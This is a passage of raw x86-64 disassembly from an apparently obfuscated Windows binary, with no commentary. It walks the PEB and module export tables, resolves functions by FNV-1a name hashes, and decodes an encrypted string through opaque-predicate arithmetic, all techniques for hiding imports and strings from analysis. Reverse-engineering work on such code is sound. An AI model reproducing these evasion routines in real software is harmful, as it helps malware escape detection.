mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x14014ef80
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14014ef73
cmp r8d, r14d
je 0x14014ef95
test ebx, ebx
jne 0x14014ef61
jmp 0x14014f001
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14014f009
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14014f009
mov esi, r15d
mov r14d, r15d
jmp 0x14014efd2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014efc4
jmp 0x14014efe7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014efda
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14014eed5
mov qword [0x1404fc118], rdx
jmp 0x14014f018
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14014f184
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f09b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f08e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f07f
cmp edx, esi
jne 0x14014f168
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014f168
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014f168
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f0ef
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014f0e4
cmp edx, r14d
je 0x14014f105
test r11d, r11d
jne 0x14014f0cf
jmp 0x14014f168
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14014f17d
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14014f17d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014f147
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14014f139
jmp 0x14014f15c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14014f14f
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f17a
cmp qword [rbx + 0x30], r13
jne 0x14014f04f
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14014f2f6
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f20d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f200
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f1f1
cmp edx, esi
jne 0x14014f2da
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014f2da
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014f2da
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f261
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014f256
cmp edx, r14d
je 0x14014f277
test r11d, r11d
jne 0x14014f241
jmp 0x14014f2da
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14014f2ef
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014f2ef
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014f2b9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014f2ab
jmp 0x14014f2ce
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014f2c1
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f2ec
cmp qword [rbx + 0x30], r13
jne 0x14014f1c1
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14014f45f
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f376
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f369
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f35a
cmp edx, esi
jne 0x14014f443
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014f443
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014f443
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f3ca
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014f3bf
cmp edx, r14d
je 0x14014f3e0
test r11d, r11d
jne 0x14014f3aa
jmp 0x14014f443
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14014f458
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014f458
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014f422
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014f414
jmp 0x14014f437
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014f42a
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f455
cmp qword [rbx + 0x30], r13
jne 0x14014f32a
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14014f5c8
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f4df
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f4d2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f4c3
cmp edx, esi
jne 0x14014f5ac
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014f5ac
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014f5ac
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f533
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014f528
cmp edx, r14d
je 0x14014f549
test r11d, r11d
jne 0x14014f513
jmp 0x14014f5ac
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14014f5c1
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014f5c1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014f58b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014f57d
jmp 0x14014f5a0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014f593
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f5be
cmp qword [rbx + 0x30], r13
jne 0x14014f493
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x14014f730
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f645
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f638
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f629
cmp edx, esi
jne 0x14014f714
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14014f714
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14014f714
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14014f699
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014f68e
cmp edx, r14d
je 0x14014f6af
test r9d, r9d
jne 0x14014f679
jmp 0x14014f714
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14014f729
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14014f729
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014f6f1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14014f6e3
jmp 0x14014f707
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14014f6fa
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f726
cmp qword [rbx + 0x30], r13
jne 0x14014f5f9
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14014f7a1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14014f789
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14014f76d
cmp edx, 0x610c0de3
je 0x14014f7f2
mov r8, qword [r8]
cmp r8, r10
je 0x14014f797
cmp qword [r8 + 0x30], r13
jne 0x14014f753
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14014f7ed
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14014f7d1
cmp ecx, 0xe463da3c
je 0x14014f7f8
add r9d, r12d
jmp 0x14014f7b5
mov r8, qword [r8 + 0x30]
jmp 0x14014f79a
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14014f984
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f898
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f88b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f87c
cmp edx, esi
jne 0x14014f968
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14014f968
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014f968
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f8ec
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014f8e1
cmp edx, r14d
je 0x14014f902
test r10d, r10d
jne 0x14014f8cc
jmp 0x14014f968
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14014f97d
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14014f97d
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14014f95b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14014f937
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14014f94e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f97a
cmp qword [rbx + 0x30], r13
jne 0x14014f84c
mov r10, r13
mov qword [0x1404fba00], r10
lea r9, [rbp + 0x119c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14014fb04
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014fa18
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014fa0b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f9fc
cmp edx, esi
jne 0x14014fae8
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014fae8
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014fae8
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014fa6c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014fa61
cmp edx, r14d
je 0x14014fa82
test r11d, r11d
jne 0x14014fa4c
jmp 0x14014fae8
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14014fafd
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14014fafd
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14014fadb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14014fab7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14014face
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014fafa
cmp qword [rbx + 0x30], r13
jne 0x14014f9cc
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov byte [rbp + 0x610], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x611], 0xc9
mov byte [rbp + 0x612], 0xf8
mov byte [rbp + 0x613], Ordinal_211
mov byte [rbp + 0x614], 0xe0
mov byte [rbp + 0x615], Ordinal_50
mov byte [rbp + 0x616], 0x46
mov byte [rbp + 0x617], 0xba
mov byte [rbp + 0x618], Ordinal_79
mov byte [rbp + 0x619], 0x9d
mov byte [rbp + 0x61a], 0xbb
mov byte [rbp + 0x61b], 0xbf
mov byte [rbp + 0x61c], 0xbd
mov byte [rbp + 0x61d], 0x9d
mov r14d, 0x40
mov byte [rbp + 0x61e], r14b
mov byte [rbp + 0x61f], 0x45
mov byte [rbp + 0x620], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x621], xmm0
mov qword [rbp + 0x631], rax
mov word [rbp + 0x639], ax
mov byte [rbp + 0x63b], al
movabs rsi, 0x83a725eef7f5773a
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
mov r15d, 1
cmp r9, 0x2c
jae 0x140150792
movzx r8d, byte [rbp + r9 + 0x610]
mov r11, r8
cmp rdi, r9
ja 0x140150789
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014fc20
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x6a
jmp 0x14014fc5a
je 0x1401506fc
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140150674
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140150642
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401505f5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401505c9
cmp r10, r9
ja 0x140150780
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14014fc8b
movabs rcx, 0xccb61c9a5722c7c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14014fcbf
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140150586
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140150563
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140150541
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015051b
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401501f4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401501d2
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401501be
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401501aa
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140150196
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140150174
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140150152
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140150130
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14015011c
lea rcx, [r10 + 2]
cmp rdi, rcx
je 0x140150108
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014fccc
mov rdi, rcx
lea r10, [rcx + 9]
lea rax, [r10 + 5]
cmp rcx, rax
jb 0x14015075a
lea rax, [r10 + 9]
cmp rcx, rax
jb 0x140150734
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x14014fecb
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x14014fea8
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x14014fe85
lea rax, [r10 + 0x1000]
cmp rcx, rax
jb 0x1401500f1
lea rax, [r10 + 8]
cmp rcx, rax
jb 0x140150097
lea rax, [r10 + 0x10]
cmp rcx, rax
jb 0x140150044
lea rcx, [r10 + 0x40]
cmp rdi, rcx
jb 0x14015001a
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014fccc
mov rdi, rcx
lea r10, [rcx + 0x400]
lea rax, [r10 + 0x80]
cmp rcx, rax
ja 0x14014fff8
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14014ffd6
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14014ffb4
lea rax, [r10 + 0x2a]
cmp rcx, rax
ja 0x14014ff8e
lea rax, [r10 + 3]
cmp rcx, rax
ja 0x14014ff68
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x14014ff54
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x14014ff32
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x14014ff0f
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x14014feed
lea rax, [r10 + 0x3e8]
cmp rcx, rax
ja 0x14014fccc
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x61]
jmp 0x14014fccc
movabs rdx, 0x7bc198c0a247bc7e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x14014fcbf
movabs rdx, 0x74734ce2b25cce0a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x46
add bl, dl
jmp 0x14014fc5a
movabs rcx, 0x6d250104c271df96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14014fbf2
movabs rcx, 0x65b0e4d2b9163e10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401505a3
movabs rcx, 0x5e6298f4c92b4f9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401505ea
movabs rcx, 0x57144d16d9406128
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1401505ed
movabs rdx, 0x4fc60138e95572b4
mov ecx, 0xa
jmp 0x140150604
movabs rdx, 0x4877b55af96a8440
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015065f
movabs rdx, 0x4129697d097f95cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140150662
movabs rcx, 0x39db1d9f1994a758
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140150695
movabs rcx, 0x328cd1c129a9b8e4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x1401506c9
movabs rcx, 0x2b3e85e339beca70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14015071d
movabs rcx, 0x98fac83861f3764e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
mov byte [rbp + r9 + 0x610], bl
jmp 0x14015072c
movabs rdx, 0x91ac7c5a720887da
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov eax, 8
cmp r10, rax
jb 0x140150037
movabs rdx, 0x74991d36cbcd811c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401505a3
movabs rdx, 0x8a5e307c821d9966
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 5
jae 0x1401504c8
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x140150429
movabs rcx, 0x2b8a268b6ca03094
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140150065
movabs rdx, 0x830fe49e9232aaf2
add rdx, r9
mov ecx, Ordinal_50
jmp 0x140150206
movabs rdx, 0xcc44ab9e0ad0ae8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140150273
movabs rdx, 0xc4f65fc01ae5c018
mov ecx, Ordinal_46
jmp 0x14015052a
movabs rcx, 0xbda813e22afad1a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x140150695
movabs rcx, 0xb659c8043b0fe330
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x140150662
movabs rcx, 0xaf0b7c264b24f4bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14015065f
movabs rdx, 0xa7bd30485b3a0648
mov ecx, 4
jmp 0x140150604
movabs rdx, 0xa06ee46a6b4f17d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x140150572
movabs rdx, 0x9920988c7b642960
mov ecx, Ordinal_50
jmp 0x1401505d8
movabs rcx, 0x91d24cae8b793aec
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x74
jmp 0x1401505a3
lea rax, [r10 + 0x20]
cmp rdi, rax
jae 0x14015025b
lea rdx, [r9 + rsi]
mov ecx, gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
